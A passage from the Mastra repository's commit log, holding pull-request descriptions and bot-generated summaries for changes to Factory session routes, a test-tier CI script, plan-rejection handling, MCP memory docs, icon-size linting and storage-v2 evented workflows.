| either, nothing changed | 304, no body | 304, no body | the same as a
full answer: the answer is built to compare its ETag |

### Not verified

- [x] the probe against Postgres — on a local Factory over Postgres (one
project, 29 sessions) with statement logging: a reload made only probes,
no full read; a title written straight into the table showed on the next
load, reads in the 5 s after that write reread the list, the first read
after it once more, then probes only again
- [ ] the probe on a production-size project — 29 sessions is not 4,000
- [x] the browser reading these routes — in #30475

---

> ████████████████████ **tests** `+1799 −164` — 44% of the additions
> ██████████████████ **source** `+1602 −558` — the browser's moved rules
are most of the deletions
> ███████ **generated** `+635` — CLI route metadata
> █ **changeset** `+25`
> █ **docs** `+2`



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: This change adds two new web addresses that send the Factory
work-session list to the app. The server sorts, filters, groups, and
limits the list before sending it. A version check (ETag) tells the app
when nothing changed, so the app can skip the download.

## Summary

This change adds two read routes for Factory projects:

- `GET /web/factory/projects/:id/session-rows` returns grouped session
rows. It supports sorting, filters, grouping, group windows, pinned
sessions, an open session, and optional child rows.
- `GET /web/factory/projects/:id/session-activity` returns session
activity counts. It reports sessions that are running, waiting on a
person, or upcoming.

Query behavior for `session-rows`:

- Sort options: activity, updated time, or created time.
- Filters: owner (`all`, `mine`, or `owner:<id>`), status, and updated
time (24 hours, 7 days, or 30 days).
- Grouping: by board, status, owner, or none.
- `window` sets the rows shown per group. The default size is 5. Window
counts must be positive integers no greater than 500.
- `pin` repeats to put sessions first. Up to 100 pinned session IDs are
accepted.
- `open` keeps the selected session visible within the group windowing.
- `children=true` shows child sessions.
- Up to 64 unique group windows are accepted.
- Malformed parameters return `400 invalid_session_rows_query`.

Both routes send an ETag and handle `If-None-Match`. A matching ETag
returns `304`. The routes build the full response before they compare
the ETag. A `304` saves transfer only. Server-side work still runs.

Row rules:

- A run counts as working only when its resource is reachable by the
viewer. Reachability depends on authentication, the viewer, the factory
project, and visible sessions.
- A session is settling when it has no materialized state and its last
update is less than 10 minutes old.
- A user row is marked waiting when it links to a parked card that the
viewer follows.
- `cardsAwaitingPerson` identifies cards whose newest relevant decision
is failed, or whose decisions are only proposed.

Supporting changes:

- Project session reads move into a shared
`createProjectSessionsReader`. Source-control session routes and
work-item routes use it. Owner-profile resolution moves into
`project-sessions.ts`.
- A new `ProbedList` cache stores project session lists and work-item
subscription lists in memory. A probe reads the row count and the newest
row. The cache key includes the count, newest row ID, and newest
timestamp. Concurrent callers with the same stamp share one in-flight
read. A completed entry is reused only when its capture time is at least
5 seconds after the newest timestamp. Entries expire after 60 seconds.
The cache holds up to 100 keys.
- Session-row status, card-context session helpers, and change-request
helpers move into `@mastra/factory`. Factory UI imports them from there.
The old local helpers and types are removed from the UI.
- `isPersonSessionBranch` and the branch prefixes (`USER_BRANCH_PREFIX`,
`USER_SESSION_BRANCH_PREFIX`, and `SLACK_SESSION_BRANCH_PREFIX`) move to
`work-item-branch.ts`.
- GitLab merge request numbers come from the metadata IID, not from the
encoded key.
- The CLI adds `mastra api factory session rows` and `mastra api factory
session activity`.
- Changesets and the Factory README document the new routes.

Behavior notes:

- `sessionPresentation.ts` now expects the session ID directly after
`USER_SESSION_BRANCH_PREFIX`. The former `session-` segment is no longer
matched.
- No sidebar code calls the new routes in this PR. The author states
that the sidebar will switch in a later PR. The author reports browser
support is covered in PR `#30475`.

Reported measurements (author-reported, not verified in this review):

- At 4,000 sessions and 1,200 cards, a default `session-rows` response
is 5,337 B (854 B gzipped) in 23.7 ms.
- A `session-activity` response is 171 B (124 B gzipped) in 0.4 ms.

Limits:

- The author tested the probe against Postgres with 29 sessions.
Production-size probe behavior is not verified.
- CI and test results are not available in the supplied evidence.
- Review severity counts are not available.

Scope: 82 files changed, 4,110 lines added, 721 lines removed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 10:33:34 -08:00
Tyler Barnes
5d2be9b551
ci(test-tiers): cover the full 14-day window, remember settled runs, and stop at 45 minutes (#30554)
## What

The daily test-tier update (`scripts/test-tiers/update.mjs daily`) reads
failed PR runs from the last 14 days to find catches: failures a PR then
fixed in source. A catch keeps the test file running on every PR. This
PR makes the update see the whole window while staying inside the
workflow's 60-minute job timeout.

- **Full window.** GitHub's workflow-run listing returns at most 1,000
runs per query, so the single 14-day query only reached back about 3.5
days. Runs are now listed one UTC day at a time, and a day with more
than 1,000 runs is split until each part fits.
- **Remember settled runs.** A run whose failures all have a final
verdict is recorded in `tiers.json` under `inspected_runs` (run id → `{
day, attempt }`) and its jobs are never fetched again. A rerun bumps
`run_attempt`, so it is inspected again. Entries leave with the window.
- **Time budget.** Runs are inspected newest first. The update stops
after 45 minutes (`--budget-minutes`) and saves what it has; the next
day picks up the rest. It also stops and saves when a GitHub error is
still failing after the retries; a permanent error still fails the run.
- **No move-outs on a partial day.** Files only move out on a day when
every run was inspected, because a run left for tomorrow may hold the
catch that keeps a file in.

## Rollout

The full window has about 3,200 failed or cancelled runs, and each takes
3–8 s to inspect. A 45-minute day covers roughly 300–700 runs, against
about 220 new ones a day. Each new day's runs are covered straight away,
and the backlog drains in about a week. Until it has, no files move out.

## Testing

- `node --test scripts/test-tiers/*.test.mjs`: 63/63 pass. The new tests
cover day-by-day listing over the 1,000 cap, splitting a busy day,
settled vs open runs, remembered runs not being fetched again, the time
budget, no move-out on a partial day, a GitHub outage, newest-first
ordering, a rerun of a remembered run, and entries saved before attempt
numbers were recorded. Each new test failed on its parent.
- Real dry runs against GitHub, writing only to a copy of `tiers.json`:
- Listing found 10.5k runs back to Nov 2 in about 8 minutes, where the
old query stopped at 1,000 Prebuild runs reaching back to Nov 12.
- Three budgeted runs (15, 12 and 11 minutes) each stopped on time, kept
every earlier entry without fetching it again, and moved nothing out.
  - The final-code run started on today's runs.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The test-tier job checks recent failed pull request runs to
find unstable test files. It used to check every run each day, which
took too long. Now it works through runs newest first, remembers the
runs it already settled, and stops after a time limit. It saves its
progress and continues on later runs.

## Overview

The change updates the daily test-tier update in
`scripts/test-tiers/update.mjs`. It lists PR runs one UTC day at a time
across the 14-day window. It records settled runs in `tiers.json` so it
does not fetch them again. It stops at a time budget or when transient
GitHub errors persist after retries. It moves test files out of the tier
only after every run for that day is inspected.

## Changed files

- `.github/workflows/test-tiers.yml` (+2/-1): Updates the job comment to
describe the new behavior. The diff changes only the comment.
- `scripts/test-tiers/update.mjs` (+221/-26): Adds day-based run
listing, budgeted inspection, settlement tracking, and deadline-bounded
GitHub and Git calls. Adds the `--budget-minutes` option, default 45.
- `scripts/test-tiers/update.test.mjs` (+368/-0): Adds tests for the new
functions. I did not read this file. The contents come from the
AI-generated summary only.

Totals for the PR: 3 files changed, 591 lines added, 27 lines removed.

## Behavior

- **Listing by day:** `listRunsByDay` lists runs for each inclusive UTC
day. If a day exceeds the 1,000-run cap (`RUN_LIST_CAP`), the range
splits recursively. A one-second range that is still over the cap logs a
warning and uses the runs it listed.
- **Time budget:** `DAILY_BUDGET_MINUTES` is 45. `inspectRuns` stops at
its deadline. GitHub and Git calls stop at the budget plus an 8-minute
grace period.
- **Order:** `inspectRuns` inspects the newest runs first.
- **Skipping runs:** A run with the same recorded attempt is skipped. A
rerun has a newer attempt, so it is inspected again.
- **Waiting runs:** Runs that are not yet settled are remembered as
waiting. `waitingRunReady` makes a waiting run eligible for recheck when
its recheck time arrives, or when a later successful run appears on the
same workflow, branch, and repository.
- **GitHub errors:** If a transient error persists after retries,
inspection ends for that day. Results gathered so far are kept. A
permanent error still fails the run.
- **Settlement and pruning:** `settleDay` records the day's results.
Legacy records without attempt data are inspected again.
- **Moving files out:** Files move out only when no runs remain for that
day.

## Verification status

- The author reports that `node --test scripts/test-tiers/*.test.mjs`
passed 63 of 63 tests. I did not run the tests. This result is not
verified.
- The author reports dry runs against GitHub. Listing found about 10.5k
runs back to Nov 2. Budgeted runs stopped on time and kept earlier
results. I did not verify these results.
- The author estimates that the backlog drains in about a week. Until
then, no test files move out.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-16 11:14:20 -07:00
mastra-platform[bot]
5c246036dd
fix(code-sdk): let plan feedback revise the plan instead of stopping the run (#30524)
> Opened by @roaminro

## Summary

Sending feedback on a plan in Factory's plan review ended the run with:

> Run stopped — Processor "plan-rejection-abort" stopped the run: Plan
rejected by user — no further response needed

instead of producing a revised plan.

`submit_plan` has two rejection shapes
(`packages/core/src/tools/builtin/submit-plan.ts`):

- **With inline feedback** (Factory web UI): the result says *"Plan was
not approved. The user wants revisions. User feedback: … Please revise
the plan … and submit again"* and sets `submittedPlan.feedback`.
- **Without feedback** (TUI "Request Changes"): the user types revisions
in their next message, so the run should stop.

`PlanRejectionAbortProcessor` matched on the `Plan was not approved`
prefix alone, so it aborted both. Now it only aborts the no-feedback
case: a rejection with `submittedPlan.feedback` or a `User feedback:`
section continues, so the model revises and resubmits.

## Test plan

- Updated `plan-rejection-abort.test.ts`: the old test that expected an
abort for inline feedback now expects no abort, using the real tool
output. Added a case for the `submittedPlan.feedback` result shape. All
12 tests pass.
- `tsc --noEmit` is clean for `@mastra/code-sdk`.
- The TUI rejection path doesn't change. It still aborts host-side in
`prompts.ts`, and the processor still aborts the no-feedback result.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When a user gives feedback on a plan, the AI now revises the plan
and tries again. When a user rejects a plan with no feedback, the run
still stops and waits for the user's next message.

## Summary

This change stops inline plan feedback from ending the run. Before this
change, `PlanRejectionAbortProcessor` aborted every `submit_plan` result
that began with `Plan was not approved`. Now it aborts only rejections
without inline feedback.

## Behavior

- **Rejection with feedback:** The processor does not abort. The result
tells the model to revise the plan and call `submit_plan` again.
- **Rejection without feedback:** The processor aborts. The run stops
and waits for the user's next message.
- **TUI "Request Changes" flow:** The processor still aborts the
no-feedback result. The summary does not cover the host-side abort in
`prompts.ts`. Those files are not in this diff.

## Feedback detection

A rejection counts as having feedback when either condition is true:

- `submittedPlan.feedback` is a nonempty string.
- The result text contains `\n\nUser feedback: `.

The same check applies to tool-invocation results and `tool_result`
parts.

## Changes

- `mastracode/sdk/src/processors/plan-rejection-abort.ts`: Adds
`hasInlineFeedback` and `isRejectionWithoutFeedback`. Both detection
paths use `isRejectionWithoutFeedback`. The file header comment now
distinguishes the two cases.
-
`mastracode/sdk/src/processors/__tests__/plan-rejection-abort.test.ts`:
Changes the inline-feedback test to expect no abort. Adds a test for a
rejected result that includes `submittedPlan.feedback`, which also
expects no abort.
- `.changeset/plan-feedback-revises.md`: Adds a patch changeset for
`@mastra/code-sdk`.

## Verification

The PR description reports that all 12 tests pass and that `tsc
--noEmit` is clean for `@mastra/code-sdk`. This review did not run the
tests or the type check.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 12:51:32 -05:00
Tyler Barnes
fdce5196e3
ci(test-tiers): retry GitHub HTTP/2 stream resets in the daily tier updater (#30525)
## What

The daily test-tier updater (`scripts/test-tiers/update.mjs`) retries
`gh api` calls that fail with a temporary GitHub error: 5xx responses,
rate limits, timeouts, connection resets and EOF. It now also retries an
HTTP/2 stream that GitHub resets mid-response, which `gh` reports as:

```
stream error: stream ID 3; CANCEL; received from peer
```

These errors go through the same bounded retry as the others (5 s, 20 s,
60 s). Permanent errors (404, permission 403, 422, unknown flag) still
fail straight away.

## Why

I hit this exact error while paging workflow run lists on real GitHub.
It didn't match the retry pattern, so a single reset was enough to fail
the whole daily update.

## Testing

- `node --test scripts/test-tiers/*.test.mjs`: 54/54 pass. On the parent
commit the new test fails (53 pass, 1 fail on the CANCEL line).
- The test adds the error seen in practice plus an `INTERNAL_ERROR`
variant to the transient list; the permanent list is unchanged.
- `oxfmt --check` and `git diff --check` are clean.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: GitHub sometimes cuts off a connection in the middle of a request.
The daily job that updates test tiers used to treat this cut-off as a
fatal error. Now the job retries these cut-offs, like other temporary
errors.

**Overview**

This change updates the retry logic in the daily test-tier updater. It
adds GitHub HTTP/2 stream resets to the list of transient errors. The
updater retries these errors with the existing schedule.

**Changes**

- `scripts/test-tiers/update.mjs`: `isTransientGhError` now returns true
when an error message contains `stream error: stream ID`. Existing
transient patterns are unchanged.
- `scripts/test-tiers/update.test.mjs`: The transient-error test adds
two cases: a `CANCEL` stream reset and an `INTERNAL_ERROR` stream reset.

**Behavior**

- A stream reset during a `gh api` call triggers a retry. The retry uses
the existing 5, 20, and 60 second schedule.
- The permanent-error list is unchanged. Errors such as 404, 403
permission failures, 422, and unknown flags do not retry.

**Verification**

- The diff size matches the stated scope: 2 files, 4 lines added, 1 line
removed.
- The author reports that `node --test scripts/test-tiers/*.test.mjs`
passes 54 of 54 tests. The author also reports that the new test fails
on the parent commit. These results come from the PR description. This
review did not run them.
- The author reports that `oxfmt --check` and `git diff --check` are
clean. This review did not run them.
- Review severity counts: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-16 10:26:09 -07:00
Tyler Barnes
72a4cbe3fb
docs(server): update built-in MCP memory tools for read-only working memory (#30367)
## Summary

#30245 changed the built-in MCP server's `memory` toolset: it no longer
offers `save_messages` or `search_memory`, and it adds a read-only
`get_working_memory` tool. The docs still listed the removed tools and
didn't mention the new one. This updates them to match `main`:

- **MCP guide** (`docs/server/mcp`): the `memory` toolset's tool list
drops `save_messages` and `search_memory` and adds `get_working_memory`.
- **Built-in MCP tools reference**: removes the two tools' rows and the
`search_memory` limit note. Adds a `get_working_memory` row (`agentId*`,
`threadId`, `resourceId`; `memory:read`) and a note on how it behaves:
- It reads the thread's working memory when there's a thread. A thread
in the request context wins over the `threadId` argument.
- Without a thread, it reads the resource's working memory and needs a
`resourceId`. It returns a 400 when the agent's working memory is
thread-scoped.
- Under FGA it checks `memory:read` on a `resource`. The note also says
the HTTP routes `POST /memory/save-messages` and `GET /memory/search`
are still there.
- **FGA guide**: adds the `GET /memory/working-memory` row
(`memory:read` on resource type `resource`, keyed by the caller's mapped
`resourceId` or the requested one).

Docs only, no code changes.

## Test plan

- Checked every statement against `main` (includes #30245):
`packages/server/src/server/mcp/toolsets/memory.ts` (tool list,
`get_working_memory` dispatch),
`packages/server/src/server/handlers/memory.ts` (both working-memory
routes, FGA check, thread-scope 400), and
`packages/server/src/server/server-adapter/routes/fga-manifest.ts`
(resource-route FGA mapping).
- `rg "save_messages|search_memory" docs/src` returns nothing.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The docs for Mastra's built-in MCP server listed memory tools that
no longer exist. This change removes them and adds the tool that
replaces them, `get_working_memory`. It also explains which HTTP routes
still handle saving and searching.

## Summary

This change updates three documentation files. It changes documentation
only. The diff against the merge base shows 3 files changed, 6
insertions, and 5 deletions.

### Changes by file

**`docs/src/content/en/reference/server/builtin-mcp-tools.mdx`** (3
lines changed)
- Removes the `search_memory` and `save_messages` rows from the memory
tool table.
- Removes the note that `search_memory` returns up to 20 results unless
`limit` is set.
- Adds a `get_working_memory` row. Arguments: `agentId*`, `threadId`,
`resourceId`. Routes: `GET /memory/threads/:threadId/working-memory` and
`GET /memory/working-memory`. Permission: `memory:read`.
- Adds a note on `get_working_memory`:
  - It reads working memory and does not change it.
- With a thread, it reads the thread route. A thread set in the request
context takes precedence over the `threadId` argument.
- Unless the agent's working memory uses `scope: 'thread'`, a thread
read with a resource ID returns the resource's working memory, shared by
that resource's threads. The result has `source: 'resource'`.
- Without a thread, it reads `GET /memory/working-memory`. It needs a
`resourceId` from the argument or the caller's mapped resource. It
returns 400 when the agent's working memory is thread-scoped.
- With FGA, the resource read checks `memory:read` on resource type
`resource`. The caller's mapped resource takes precedence over the
`resourceId` argument.
- Adds a note that the memory toolset does not save messages or run
semantic search. It directs readers to `POST /memory/save-messages` and
`GET /memory/search`.

**`docs/src/content/en/docs/server/mcp.mdx`** (2 lines changed)
- Removes `search_memory` and `save_messages` from the `memory` toolset
list. Adds `get_working_memory`.
- Rewords the stored-agent visibility sentence. A private agent is
hidden from other users in `list_agents` and `list_stored_agents`.
Calling it answers as if it does not exist, unless the caller is an
admin or was granted the agent by ID. The meaning does not change.
- The model-policy validation text in the same paragraph was already
present. This change does not add or alter it.

**`docs/src/content/en/docs/auth/fga.mdx`** (1 line added)
- Adds an enforcement-point row for resource working memory (`GET
/memory/working-memory`). It maps to `memory:read` on resource type
`resource`, using the caller's mapped `resourceId` or the requested
`resourceId`.

### Verification
- The diff stat matches the PR metadata: 3 files, 6 insertions, 5
deletions.
- The added lines do not name `search_memory` or `save_messages`. The
removed lines do.
- The author reports that `rg "save_messages|search_memory" docs/src`
returns no matches on `main`. This summary does not re-run that search.
- No build or test checks were run for this documentation change.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-16 10:18:03 -07:00
Justin Levine
9e9bb7cc20
refactor(playground-ui): size icons from their parent and tokens, enforced by lint (#30542)
## Description

Stacked on #30523. Icons now take their size from the component they sit
in, an `<Icon size>` wrapper, or a `size-icon-*` token, and a new lint
rule, `playground-ui/icon-size-from-parent`, stops one-off sizes coming
back. It's an error in playground-ui, Studio, and Factory UI. It allows
sizes relative to the text (`h-[1em]`) and sizes computed from data.

This sets up the next step: bumping the four icon sizes so Central
renders at the size Lucide did becomes a token change instead of
hundreds of edits.

- Removes sizes a parent already overrides (Button, DropdownMenu
triggers, Badge, ActivityIcon). These were dead code.
- Moves literal sizes onto the matching token, at the same pixel size.
- Snaps off-scale icons to the nearest size: 13 to 14px, 15 to 16px, 11,
10 and 8 to 12px.
- The skill and prompt block pickers use `EmptyState` and `Spinner`
instead of hand-built 32px icons.

Layout check: every element in all 1,336 stories and 33 Studio and
Factory pages was measured before and after. Nothing moves except the
changes below and stories that differ between two loads of the same code
(loading skeletons, streaming text). Where an icon grows, the label
beside it gives up 1 to 2px and no row changes height.

| Empty and loading states | Before | After |
| --- | --- | --- |
| Dark | ![Skill and prompt pickers with hand-built 32px empty states,
dark](https://github.com/user-attachments/assets/e8cb8231-9e21-4c44-9aa4-c3dfb565504f)
| ![Skill and prompt pickers using EmptyState and Spinner,
dark](https://github.com/user-attachments/assets/8fefd2dc-c0b4-41ee-b1a0-81e046033ad5)
|
| Light | ![Skill and prompt pickers with hand-built 32px empty states,
light](https://github.com/user-attachments/assets/9ffe4892-8605-46ba-aafc-37fe6f91ab10)
| ![Skill and prompt pickers using EmptyState and Spinner,
light](https://github.com/user-attachments/assets/f8daa313-9671-4f7e-95a4-dfe434b151e2)
|

| Off-scale icons | Before | After |
| --- | --- | --- |
| Dark | ![Factory and skill-list icons at 8 to 15px,
dark](https://github.com/user-attachments/assets/9a5d4265-5541-4d7a-98f1-ef494bb242cd)
| ![The same icons on the 12, 14 and 16px sizes,
dark](https://github.com/user-attachments/assets/4907d274-6ba6-4f6e-9e47-9fd51e2664d2)
|
| Light | ![Factory and skill-list icons at 8 to 15px,
light](https://github.com/user-attachments/assets/1fdbccfb-fa90-4963-8692-1769fba8bc16)
| ![The same icons on the 12, 14 and 16px sizes,
light](https://github.com/user-attachments/assets/226180bc-a5b1-4ca3-b49f-73ac1058805c)
|

| Activity, failed | Before | After |
| --- | --- | --- |
| Dark | ![Failed activity row with a 13px cross,
dark](https://github.com/user-attachments/assets/63b7faf7-c309-4209-8ba1-2ec4ae8684a4)
| ![Failed activity row with a 14px cross,
dark](https://github.com/user-attachments/assets/931cd9ef-dc3c-4e99-8c06-6d23d3bccf99)
|
| Light | ![Failed activity row with a 13px cross,
light](https://github.com/user-attachments/assets/8773e88d-154f-49ca-8e2a-3b179d0ed30e)
| ![Failed activity row with a 14px cross,
light](https://github.com/user-attachments/assets/3419594a-5e10-4007-b745-cd65c6adc163)
|

Factory components without a story were rendered from their exact old
and new markup.

Verified: lint, format, and typecheck pass in playground-ui, Studio, and
Factory UI. Tests pass in playground-ui (8,210) and Studio (3,088),
including 15 RuleTester cases for the rule. Factory UI's 12 failures are
the same ones on main.

## Related issue(s)

PLTFRM-2484

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [x] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR
2026-11-16 12:08:38 -05:00
Tony Kovanen
929c8aba1e
feat(core, pg, libsql, server): run evented workflows and durable agents on storage v2 (#29370)
## Description

Fifth PR in the workflow storage series. It moves the evented engine
onto storage v2 so evented messages stop carrying the whole run, and
adds an experimental `storageVersion` option to `createDurableAgent` and
`createEventedAgent`. On Postgres, an `EventedAgent` run with 16 tool
calls publishes 11 MB of messages on v2 against 98 MB on v1, writes 3.1
MB against 75 MB, and finishes in 2.6 s against 4.1 s. Both agents still
default to v1.

**API changes on storage v2.** v1 runs behave as before. The only
additions that reach them are `getState()` and `updateState()`;
`setState` keeps the contract it has on `main`.

| API | v1 | v2 | Status |
|---|---|---|---|
| `state` (steps, conditions, loop predicates, sleep and `.map`
functions, workflow tools) | Readable | Throws
`WORKFLOW_STORAGE_V2_SYNC_STATE`; use `await getState()` | New in this
PR on both engines. Default-engine v2 allowed it in `1.83.0-alpha.3` |
| `getState(keys?)` | Returns the state | Loads only the named top-level
keys | New in this PR, both versions |
| `setState(state)` | Validates the value it's given on its own and
replaces the step's pending state, so it takes the full state and a
second call in the same step drops the first one's keys | Same |
Unchanged |
| `updateState(partial)` | Merges the top-level keys it's given,
validates the merged state against `stateSchema`, and records only those
keys. A key set to `undefined` is removed | Same, and changes travel as
a delta, so parallel arms keep each other's keys | New in this PR, both
versions |
| `getStepResult(stepId)` | Works | Throws
`WORKFLOW_STORAGE_V2_SYNC_GET_STEP_RESULT` | Already on `main` for the
default engine. New for evented |
| `getStepResultAsync(stepId)` | Works | The way to read another step's
result | Already exists (in `1.82.0`) |
| `result.steps`, and `steps` in `onFinish` / `onError` | A record | `()
=> Promise<record>`. On the default engine, `steps()` throws
`WORKFLOW_STORAGE_V2_STEPS_STALE` if the run was resumed, restarted or
deleted since | Already on `main` for the default engine. New for
evented, where it doesn't read storage |
| `pruneSnapshot` | Applied | Can't be combined with `storageVersion:
2`. `autoStorageVersion` runs skip it | Already on `main`. Now applies
to evented |
| `autoStorageVersion` | — | Now also picks v2 for evented workflows, so
the rules above apply to them | New in this PR |
| Evented workflow state | Any value | Must convert to JSON. A cycle or
`BigInt` throws | New in this PR |
| `createDurableAgent` / `createEventedAgent` `storageVersion?: 1 \| 2`
| Default | Opt-in | New in this PR |

**Why the messages were so big.** Every evented step message carried the
run's whole state and every earlier step's result. Nested runs also
carried a copy of their parent, with its step graph and step results.
Each message grew with the run, so total traffic grew roughly with the
square of the number of steps. In the 16-tool-call agent run on `main`
(2 KB tool results), the parent copy was 45% of published bytes, step
results 30%, state 15% and the previous result 10%.

**Nested-run messages no longer copy the parent's step graph (v1 and
v2).** The copy was only read when a nested run handed back and couldn't
find the live parent workflow, and it couldn't help then: a serializing
pubsub strips the loop condition from it. Hand-back now uses the live
workflow only. On v1 this alone cuts the agent run's messages by more
than a quarter.

**Evented workflows run on v2.** The evented engine's ~55 direct store
calls now go through `RunStorage`, as the default engine's do, and the
v2 operations are implemented. On v2:
- Step messages carry the previous step's result and a state patch.
Start, resume, end, suspend and fail messages keep their full payload.
Nested-run messages leave out the parent's step results: a loop
hand-back loads them to check the loop condition, and the parent's step
end takes the nested step's input from its stored result.
- Step run and step end dispatches load the run's earlier successful
steps as summaries and fetch only the outputs of the entry they work on
(the step, its parallel branch, or its foreach items). Step code reads
other results with `getStepResultAsync`; sync `getStepResult` throws, as
on the default engine. Before a write, a summary in the result or in the
predecessor it retires is swapped for the stored result, and remote step
execution receives full results.
- Writes turn whole states into patches against the state the dispatch
loaded, so concurrent foreach iterations and parallel arms don't drop
each other's keys. A finishing parallel arm loads its siblings' results
only up to its own write, so when two arms finish together exactly one
of them runs the join.
- `result.steps` is an async function, and `onFinish` and `onError`
receive it too, as on the default engine. The finish message already
carries every result, so it resolves without reading storage.
- Runs skip `pruneSnapshot`, because later steps read earlier results
from storage. `EventedWorkflow.createRun` picks the version the way the
default engine does, including `autoStorageVersion`.
- Every message of a v2 run carries `storageVersion: 2`, including the
`workflow.fail` sent when a message runs out of delivery attempts, so
workers handle it against the v2 tables even when a broker such as Redis
delivers it outside the publisher's context.

`@mastra/server`'s step-execution endpoint takes the run's
`storageVersion`, so remote workers apply the same rules.

**Steps read state with `getState()` and can write only what changed
with `updateState()`.** Steps, conditions, loop predicates, sleep
functions, `.map` functions and workflow tools get `getState(keys?)` and
`updateState(partial)` on both versions. On v2, on both engines, reading
`state` throws and points to `await getState()`. `updateState` merges
the top-level keys it's given, validates the merged state against the
step's `stateSchema`, and records only those keys, so parallel arms that
set different keys don't overwrite each other; a key set to `undefined`
is removed. `setState` is untouched: it still takes the whole state,
validates only the value it's given, and a second call in the same step
replaces the first.

```ts
execute: async ({ getState, updateState }) => {
  const { count } = await getState(['count']); // loads only `count` on v2
  await updateState({ count: count + 1 });
}
```

**Agents choose their storage version.** `createDurableAgent` and
`createEventedAgent` take `storageVersion?: 1 | 2`, default `1`. With
`2`, new runs are stored as v2 on the in-memory, pg and libSQL stores;
on other stores the agent warns once and stores v1. `EventedAgent` no
longer pins its runs to v1. A stored run keeps its version, so a run
suspended on one version resumes in it from an agent set to the other.
Durable agent steps read and write only the state key they need: the
conversation or the step list.

```ts
const durableAgent = createDurableAgent({ agent, storageVersion: 2 });
```

**Stores accept v2 writes from several workers at once.** Evented
workers write the same run from different processes, so they can't send
a header they loaded earlier. The in-memory, pg and libSQL stores now
support:
- `appendWorkflowRunEntries` without a header, keeping the stored header
and merging `requestContext`
- `mergeWorkflowRunStepResult`, which merges a foreach iteration into
the step's latest result under the run's lock
- `loadWorkflowRunSteps({ upToSeq })` and `loadWorkflowRunState({ seq,
keys })`, so a step reads only what it needs, as of the point it ran
- a full state checkpoint after 100 patches or once the patches outgrow
the state, skipped if another state write landed first (`RunJournal`
follows the same rule)

Postgres also guards v2 step writes, as it does on v1: a guarded write
locks the run row, reads the guarded step and its predecessor, runs the
same `assertWorkflowStepGuard`, and appends only the step's entry, so a
redelivered message can't run a step twice or overwrite a finished
result. It reads the whole run only to report a conflict with a
completed step, so the read under the lock doesn't grow with the run: a
128-step sequential run takes 1.15 s, against 1.67 s when the guard read
the whole run. pg and libSQL `init` add the four state columns that
`@mastra/pg@1.36.0-alpha.0` and `@mastra/libsql@1.30.0-alpha.0` created
v2 run tables without.

**Also fixed:**
- An evented foreach whose iterations failed at the same time ended its
run twice. It now fails once, with the first failure's error.
- A durable agent could send the model a background tool's placeholder
instead of its result when the tool finished during `toModelOutput` or
the run was stored on v2.
- Time travel hung on an evented workflow whose `shouldPersistSnapshot`
skips running snapshots, when replaying from a step before a failed
foreach. Time travel now stores the reset step results either way.
- On v1, evented workflows merged the stored state like a step result,
so after parallel branches changed a state with a top-level `output`
array, the stored state kept the old array's items and a restarted run
continued with the wrong state. The state is now replaced whole.
- Workers starting together on a libSQL database that needed a new
column failed `init` with `duplicate column name`, all but the first.
They now start.

## Measurements

In-process pubsub (messages passed by reference), median of 5 runs after
a warm-up. Published is the JSON size of every published message.
Written is, on v1, the run's whole row after each write and, on v2, what
each write sends.

| v1 → v2 | time, in-memory | time, pg | published, pg | written, pg |
|---|---|---|---|---|
| agent, 16 tool calls, 2 KB results | 166 → 152 ms | 4.1 → 2.6 s | 98 →
11 MB | 75 → 3.1 MB |
| agent, 16 tool calls, 20 KB results | 366 → 184 ms | 9.9 → 3.2 s | 700
→ 76 MB | 509 → 15 MB |
| 16 parallel branches, 2 KB | 4 → 2 ms | 69 → 80 ms | 0.39 → 0.29 MB |
0.75 → 0.08 MB |
| 16 sequential steps, 2 KB | 2 → 1 ms | 99 → 92 ms | 1.39 → 0.32 MB |
1.76 → 0.17 MB |

Bytes read from storage per run (in-memory store, 2 KB outputs):

| | v1 | v2 |
|---|---|---|
| 16 sequential steps | 1,044 KB | 163 KB |
| foreach over 16 items | 1,683 KB | 1,625 KB |
| agent, 16 tool calls | 50.0 MB | 24.9 MB |
| 16 parallel branches | 199 KB | 493 KB |

**Before v2 becomes the default** (not in this PR):
- Parallel runs read more than on v1, because each finishing arm loads
its siblings' results to decide the join. On pg, 16 parallel branches
take 80 ms on v2 against 69 ms on v1.
- v2 makes about 7% more store calls (1,642 against 1,541 in the
16-tool-call agent run), mostly the duplicate-delivery check's header
read and the reads that fetch a dispatch's step outputs.
- End, fail and suspend dispatches still load the full run.

**Known issues, also on `main`** (not fixed here):
- The evented engine doesn't check `setState` against `stateSchema`;
`updateState` validates on both engines. The shared-suite case for
`setState` is skipped on evented.
- On Postgres, a loop restarted after its body finished ends early with
that iteration's output (v1 and v2).
- On v1, a loop restarted on another host re-runs the iteration that had
just finished. The result is still right; the test is marked `it.fails`.
- If a background tool's `toModelOutput` takes longer than
